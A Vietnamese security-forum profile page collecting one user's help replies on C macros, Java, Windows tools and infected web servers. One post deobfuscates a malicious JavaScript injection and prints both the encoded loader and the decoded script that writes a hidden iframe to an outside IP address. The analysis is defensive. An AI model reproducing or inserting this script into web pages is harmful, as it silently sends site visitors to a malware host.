banner

[Rule] Rules  [Home] Main Forum  [Portal] Portal  
[Members] Member Listing  [Statistics] Statistics  [Search] Search  [Reading Room] Reading Room 
[Register] Register  
[Login] Loginhttp  | https  ]
 
Messages posted by: 4hfoo  XML
Profile for 4hfoo Messages posted by 4hfoo [ number of posts not being displayed on this page: 5 ]
 
Mình chưa thử chạy code, nhưng có ý kiến này, bạn thử xem sao ...
Khi bạn gọi hàm CallNextHookEx để truyền tham số cho các hook khác xử lý tiếp, bạn có thể thay đổi các thông số truyền đi - nCode, wParam, lParam.
Trong đó, nCode là chứa mã ASCII của ký tự.

Thân.
Bạn kiểm tra xem đã tắt Firewall của Windows chưa?
Thường firewall của Windows sẽ chặn không trả lời ping.
Thân
Theo mình nghĩ thì ý kiến file virus đã tạo ra và bị diệt là đúng.
Để xóa cái thông báo không hiện ra, bạn có thể thử cách sau:

- Vào Start -> Run, gõ regedit rồi Enter
- Sau đó kiếm chuỗi edy.dll
- Xóa đi các key có chuối đó
- Thử khởi động lại máy xem còn bị hông

Thân
Bạn thử khởi động máy vào Safe mode rồi xóa xem được không.
Thân
Bạn thử load mấy phần mềm dưới đây về thử xem sao:

InjectedDLL
http://www.nirsoft.net/utils/injected_dll.html

Process Guard
http://www.diamondcs.com.au/processguard

Advanced Process Manipulation
http://www.brothersoft.com/advanced-process-manipulation-40655.html

Thân
Bạn có thể kiếm chương trình Partition Magic về dùng.
Thân.
Bạn có thể nói bạn làm cách nào để biết stack không bị hủy không vậy?

Trong Java thì đối tượng sẽ bị hủy khi hệ thống chạy garbage collection. Việc chạy cái này là do garbage collector trong JVM quyết định, người lập trình không thể quyết định được.

Nếu có ít nhất 1 tham chiếu (reference) đến 1 object thì object đó sẽ không bị hủy.

Thân.
Mình mới tới level 3, phải cố gắng dài dài mới theo kịp bồ smilie
Bạn có thể vào trang này để decode online:

http://www.randombase.com/random/degz

Thân
Cái này chơi cũng vui và hấp dẫn.
Mình đang làm cái vortex. Khi nào bí sẽ post lên đây để kiếm lời giải ... smilie

Thân
Còn một cách bạn dùng tool devcon.exe của Microsoft.

Link download
http://download.microsoft.com/download/1/1/f/11f7dd10-272d-4cd2-896f-9ce67f3e0240/devcon.exe

Sau khi load về cài đặt, bạn chạy lệnh sau:

Code:
devcon listclass net


Danh sách ID các thiết bị mạng sẽ hiện ra.
Bạn cần nhớ ID của card mạng bạn muốn disable.

Sau đó chạy lệnh
Code:
devcon disable PCI\VEN_...


Với PCI\VEN_... là ID của card mạng.

Thân
Chào bạn,

#define dùng để định nghĩa những cái macro.
Bạn có thể hiểu chức năng macro giống như là một hàm (function-like)
Nhưng nó chỉ có nhiệm vụ khai triển (expand)

Ví dụ:
#define tong(a,b) (a+b)

Khi bạn gọi tong((x+y+z),(1+2+3)) thì chương trình nó chỉ thay thế a bằng x+y+zb bằng 1+2+3 và từ đó tiếp tục khai triển ra, dựa trên định nghĩa của macro.

tong(a,b)
a thay bằng x+y+z
b thay bằng 1+2+3
=> cho ra kết quả (x+y+z+1+2+3)

Để an toàn hơn thì bạn nên khai báo sau:
#define tong(a,b) ((a)+(b))

Tương tự cho hàm SLN, để cho an toàn thì có thể khai báo như sau:
#define SLN(x, y) (((x) > (y)) ? (x) : (y))

(ngoặc nhiều quá nhìn muốn xỉu smilie)

Như vậy nếu bạn hiểu macro là cách dùng để khai triển ra thành một cái gì đó, thì nó không chỉ giới hạn trọng một vài kiểu đặc biệt.

Tất cả tùy vào bạn thôi, nếu một hàm nào đó ngắn gọn và được sử dụng nhiều lần, nhưng bạn không muốn viết riêng một hàm để xử lý, thì có thể dùng macro.
Nội dung macro không chỉ giới hạn +,-,*,/,?. Bạn có thể để các câu lệnh bình thường như if, case, while ...

Ngoài mục đích function-like (tạo hàm đơn giản), macro còn có thêm mục đích là object-like
Ví dụ:

#define PI 3.14
Như vậy mình có thể dùng PI trong các biểu thức tính toán, và PI sẽ được thay thế bằng 3.14.

Bạn có thể vào đây đọc và hiểu thêm về #define macro
http://en.wikipedia.org/wiki/C_preprocessor#Macro_definition_and_expansion
http://www.cprogramming.com/tutorial/cpreprocessor.html

Có một số chú ý được đề cập trong trang trên khi sử dụng macro:
1/ Precedence (thứ tự ưu tiên khi tính toán)
2/ Multiple evaluation of side effects (Khi mình xài (a++) thì phép ++ có thể lặp nhiều lần ngoài ý muốn của mình)


Thân


Bạn cần cho 2 cái ngoặc ( ... ) vào để bảo đảm là macro được tách biệt với các phần khác.
Nếu bạn không để ngoặc thì khi macro thay thế nhiều khi sẽ không cho kết quả như ý.

Mình đưa ra một ví dụ để bạn hiểu rõ:

Cách làm sai:
#define tong(a,b) a+b
tong(a,b)*tong(c,d) sẽ được thay thế và cho kết quả sau: a+b * c+d => cái này không đúng theo ý mình, vì nó sẽ tính b*c trước.

Cách làm đúng:
#define tong(a,b) (a+b)
tong(a,b)*tong(c,d) sẽ được thay thế và cho kết quả sau: (a+b) * (c+d) => cái này thì đúng

Hi vọng bạn đã hiểu rõ thêm smilie

Thân
Để chạy đúng thì bạn sửa lại như vầy:

Code:
#define SLN(x, y) ((x > y) ? x : y)


Cho thêm 2 cái ngoặc (...) để bọc cái macro lại.
Macro nó chỉ biết thay thế nguyên xi như bạn lamer nói, nên bạn phải cẩn thận khi define.

Thân
Bạn đã thử upload lại file index.html lên host kia chưa?
Có thêm một cuốn khá hay về đề tài buffer overflow và nhiều cái khác, bạn tìm xem thử ...

The Shellcoder's Handbook: Discovering and Exploiting Security Holes (2nd Edition)

Thân

HoangTuanSu wrote:

Tại hạ xin được nghiêng mình nghe các hạ chỉ giáo!
 


Cái mẫu đầu tiên lỗi là format string.
Bạn tìm hiểu xong buffer overflow rồi sau đó chuyển sang format string cho nó đủ bộ smilie

Thân
Ồ mình đọc sơ nên không thấy cái VB.

@anhsuytu:
Để post dữ liệu lên web server thì bạn có thể tham khảo link sau:

http://www.developerfusion.co.uk/show/3272/1/

Cái này nó đề cập đến 2 phương pháp - dùng ServerXMLHTTP hoặc dùng hàm API WinINET của Windows.
Nó có luôn phần code để bạn nhận dữ liệu trả về.

Một điều cần chú ý là bạn cần tìm hiểu xem dữ liệu POST về server trong trang login bao gồm những gì, ví dụ username, password, password hash ... để làm cho đúng.

@greenstream:
Code bằng PHP thì mình kiếm được cái này, bạn xem thử xem sao.
Nó dùng socket trong PHP để post và nhận dữ liệu trả về. Nếu bạn hiểu về HTTP Protocol sẽ thuận tiện hơn.

http://www.wellho.net/resources/ex.php4?item=h110/getpost.php

Thân
Bạn dùng ngôn ngữ lập trình nào vậy?
Mình kiếm sơ thông tin trên Google, virus này là Trojan-Clicker.JS.Agent.h

Theo ý kiến một số người thì virus này lây nhiễm vào server thông qua đường ftp, nó sẽ chèn đoạn script vào nhiều file trên server, index.htm, index.php, index* ...

Mình có hướng giải quyết như sau bạn thử xem sao:

1/ Kiểm tra FTP log ở server để xem có phải đoạn code được chèn vào thông qua ftp không
2/ Quét virus trên máy đã dùng để upload file thông qua ftp (dùng Kaspersky hay Bitdefender)
3/ Đổi mật khẩu cho ftp account
4/ Nếu bạn quét được virus ở server thì có thể quét thử để xem mức độ lây nhiễm thế nào.

Theo ý bạn đề nghị là xóa hết file và upload lên lại, cái này cũng tốt nếu không mất nhiều công sức
(nếu được thì thử dùng một máy khác để upload file)
Nhưng quan trọng nhất là làm sao ngăn chặn để việc file index.php bị chèn đoạn mã không lặp lại...

Thân
Bạn có thể xem bài này ...

/hvaonline/posts/list/23061.html#140695

Còn để không bị lây nhiễm lại thì bạn phải xem log để biết làm sao đoạn mã đó được chèn vào ...

Thân
Trên trang Microsoft cũng không thấy cách giải quyết.
Cái này là bug trong IE7 thì phải.

Bạn thử ra DOS gõ lệnh này.

Code:
regsvr32 mshtml.dll


Rồi thử lại xem nó còn bị hông.

Cách cuối cùng là dùng firefox vậy smilie

Thân
Đoạn code của bạn phát hiện ra là Javascript dùng kỹ thuật obfuscation, mục đích là để làm cho đoạn code thêm khó đọc.

Kỹ thuật obfuscation được dùng cũng không phức tạp lắm, chủ yếu là thay đổi tên biến và tên hàm bằng các giá trị ngẫu nhiên và dài, ví dụ O10H486E2F7D05F4A, H486E2F7D06742 ...

Một cách đơn giản làm cho code dễ đọc là bạn có thể dùng một trình soạn thảo (mình dùng Textpad) để kiếm và thay thế các tên ngẫu nhiên thành các tên khác ngắn gọn và dễ đọc hơn.

Sau khi thay thế và đặt tên biến lại cho dễ hiểu, mình có đoạn mã này:

Code:
function Str2Hex(input){
function Val16() {
var val16=16;
return val16;
}
return( parseInt(input,Val16()));
}
function decode(input) {
var Val2 = 2;
var est='';
for(i=0; i<input.length; i += Val2){
est += (String.fromCharCode (Str2Hex(input.substr(i, Val2))));
}
return est;
}
document.write(decode('3C7363726970743E696628216D796961297B642E777269746528273C494652414D45206E616D653D4F31207372633D5C27687474703A2F2F37372E3232312E3133332E3137312F2E69662F676F2E68746D6C3F272B4D6174682E726F756E64284D6174682E72616E646F6D28292A3235363735292B27346264313030613833345C272077696474683D3739206865696768743D333235207374796C653D5C27646973706C61793A206E6F6E655C273E3C2F494652414D45203E27293B7D766172206D7969613D747275653B3C2F7363726970743E'));


Một điểm thú vị từ đoạn code trên là các hằng số, ví dụ 2, 16 được thay thế bằng các hàm Val16() và biến Val2. Đây cũng là một trong các kỹ thuật obfuscation, để tăng thêm tính khó đọc của code.

Phân tích đoạn code:

Mục đích đoạn code là giải mã đoạn HTML và in ra màn hình.
Nhìn vào hàm decode() thì đây là một hàm mã hóa đơn giản, chỉ đổi giá trị Hex từ chuỗi sang ký tự ASCII.
Ví dụ: '3C' -> '<'

Nội dung cần giải mã là

Code:
3C7363726970743E696628216D796961297B642E777269746528273C494652414D45206E616D653D4F31207372633D5C27687474703A2F2F37372E3232312E3133332E3137312F2E69662F676F2E68746D6C3F272B4D6174682E726F756E64284D6174682E72616E646F6D28292A3235363735292B27346264313030613833345C272077696474683D3739206865696768743D333235207374796C653D5C27646973706C61793A206E6F6E655C273E3C2F494652414D45203E27293B7D766172206D7969613D747275653B3C2F7363726970743E


Để giải mã nhanh mình có thể dùng công cụ online:
http://www.yellowpipe.com/yis/tools/encrypter/index.php

Copy đoạn mã vào, chọn chức năng Hex to ASCII và nhấn OK để giải mã.
Ta sẽ được đoạn code sau:

Code:
<script>if(!myia){d.write('<IFRAME name=O1
src=\'http://77.221.133.171/.if/go.html?'+Math.round(Math.random()*25675)+'4bd100a834\' width=79
height=325 style=\'display: none\'></IFRAME >');}var myia=true;</script>


Việc phân tích đoạn javascript trên thì để bạn làm tiếp vậy ... smilie

Thân


Đúng rồi, cái đó cũng là thông tin về IP Address của máy bạn.
Có nhiều cách để xem thông tin về IP Address thôi, đâu có gì khó hiểu smilie

Nếu bạn dùng ipconfig /all thì ngoài thông tin về IP Address còn có thêm nhiều thông tin khác như MAC Address, DHCP Server, DNS Server ...

Thân
Bạn có thể xem log của server để biết tại sao bị vậy.
Từ đó mới có thể kiếm cách khắc phục ...
 
Go to Page:  First Page Page 1 Page 3 Last Page

Powered by JForum - Extended by HVAOnline
 hvaonline.net  |  hvaforum.net  |  hvazone.net  |  hvanews.net  |  vnhacker.org
1999 - 2013 © v2012|0504|218|